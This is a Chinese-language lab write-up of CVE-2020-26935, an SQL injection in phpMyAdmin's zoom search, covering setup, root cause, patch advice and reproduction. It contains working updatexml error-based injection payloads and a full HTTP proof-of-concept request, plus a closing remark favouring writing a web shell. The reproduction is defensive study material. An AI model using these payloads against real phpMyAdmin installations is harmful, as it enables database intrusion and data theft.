0x00 漏洞介紹
phpMyAdmin
是
phpMyAdmin團隊
的一套免費的、基于Web的MySQL資料庫管理工具。該工具能夠建立和删除資料庫,建立、删除、修改資料庫表,執行SQL腳本指令等。
phpMyAdmin 4.9.6之前版本
,
SearchController 5.0.3之前版本
存在SQL注入漏洞,該漏洞允許攻擊者進行SQL注入攻擊。
0x01 漏洞環境
- phpMyAdmin5.0.2&SearchController <5.0.3
0x02 漏洞搭建
1、
phpMyAdmin 5.0.2
壓縮包下載下傳
https://files.phpmyadmin.net/phpMyAdmin/5.0.2/phpMyAdmin-5.0.2-all-languages.zip
2、解壓縮後将其放入靶機的
/var/www/html
目錄下,改名為
phpmyadmin
3、随後進入
phpmyadmin
,找到
config.sample.inc.php
檔案備份後将該檔案更名為
config.inc.php
。用
vim
編輯器打開該檔案,在第18行此處填寫
phpmyadmin
,也就是自己改的名字即可安裝完畢。
4、儲存完配置之後,在浏覽器輸入如下位址http://127.0.0.1/phpmyadmin,就會出來phpMyAdmin登入界面
5、注意,mysql 5.7版本預設不能使用root使用者登陸背景phpmyadmin的!!!建立一個完全權限的賬戶才可以登陸!!指令如下:
mysql -u root -p
use mysql;
GRANT ALL PRIVILEGES ON *.* TO '使用者名'@'localhost' IDENTIFIED BY '密碼' WITH GRANT OPTION;
flush privileges;
exit;
systemctl restart mysql
0x03 影響範圍
phpMyAdmin versions 4.9.x before 4.9.6, and versions 5.0.x before 5.0.3
0x04 漏洞原理
1、因為是跟
SearchController
有關,是以全局搜尋一下
SearchController
,正向跟進
/tbl_zoome_select.php
檔案。
2、可以看出調用了
TableSearchController
的
indexAction
方法,繼續跟進,全局搜尋一下,看看到底是哪裡建立的這個函數。
3、通過上圖全局搜尋
indexAction()
,可以看出來在
./libraries/classes/Controllers/Table/SearchController.php
這個檔案中,進入
switch case zoom
中,發現這裡是一個原生sql語句,沒有對
get_data_row
做任何過濾。
0x05 漏洞複現
1、登陸phpMyAdmin背景
賬号:
wpuser
密碼:
Wpuser123.com
2、登陸後,點選
information_schema
3、再随機點選一張不報錯的表,随後點選搜尋
4、再點選
縮放搜尋
、
5、将空白處填滿,值都填滿,随便寫
6、打開BurpSuite,設定好代理後,點選下方的執行,BuiteSuite就會收到如下的資料包,
Ctrl+R
将其放入重放器(Repeater)中
7、将
token
字段後面的所有資料删除
8、添加這句語句
&get_data_row=1&where_clause=updatexml(1,concat(0x7e,user()),1)
9、發送後可以看到結果
10、查詢庫名
&get_data_row=1&where_clause=updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,32),0x7e),1)
&get_data_row=1&where_clause=updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,32),0x7e),1)
也可以放在
Hack bar
中執行
0x06 漏洞解決建議
1、目前廠商已釋出更新更新檔以修複漏洞,更新檔擷取連結: https://github.com/phpmyadmin/phpmyadmin/commit/d09ab9bc9d634ad08b866d42bb8c4109869d38d2
2、更新到更高版本
0x07 POC
POST /phpmyadmin/tbl_zoom_select.php HTTP/1.1
Host: 192.168.91.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 224
Origin: null
Connection: close
Cookie: phpMyAdmin=nk6q8es96cv0j8a8a1nu9of48k; pma_lang=zh_CN; pmaUser-1=%7B%22iv%22%3A%22NnsGvlgStQthIgVzxmXmlA%3D%3D%22%2C%22mac%22%3A%22bc225fb2cce7236537f724885ff488332922da27%22%2C%22payload%22%3A%22mcoI%5C%2FCTWx3zHM6hNjpopfA%3D%3D%22%7D; pmaAuth-1=%7B%22iv%22%3A%22d1W1shXTobZeECuPiLJJXA%3D%3D%22%2C%22mac%22%3A%2237051bede50280770d4b8ab05ee03935983ad141%22%2C%22payload%22%3A%22c66OqbeSV%2BdgvyEiRm4Eh6U5wJGDBnatHyiKhkfj608%3D%22%7D
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
db=information_schema&table=CHARACTER_SETS&token=2777787a51783379543b65257c606c45&get_data_row=1&where_clause=updatexml(1,concat(0x7e,user()),1)
0x08 總結
很雞肋,進入
phpMyadmin
背景,誰還做sql注入,直接寫shell不香麼。
0x09 Reference
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26935
https://xz.aliyun.com/t/8524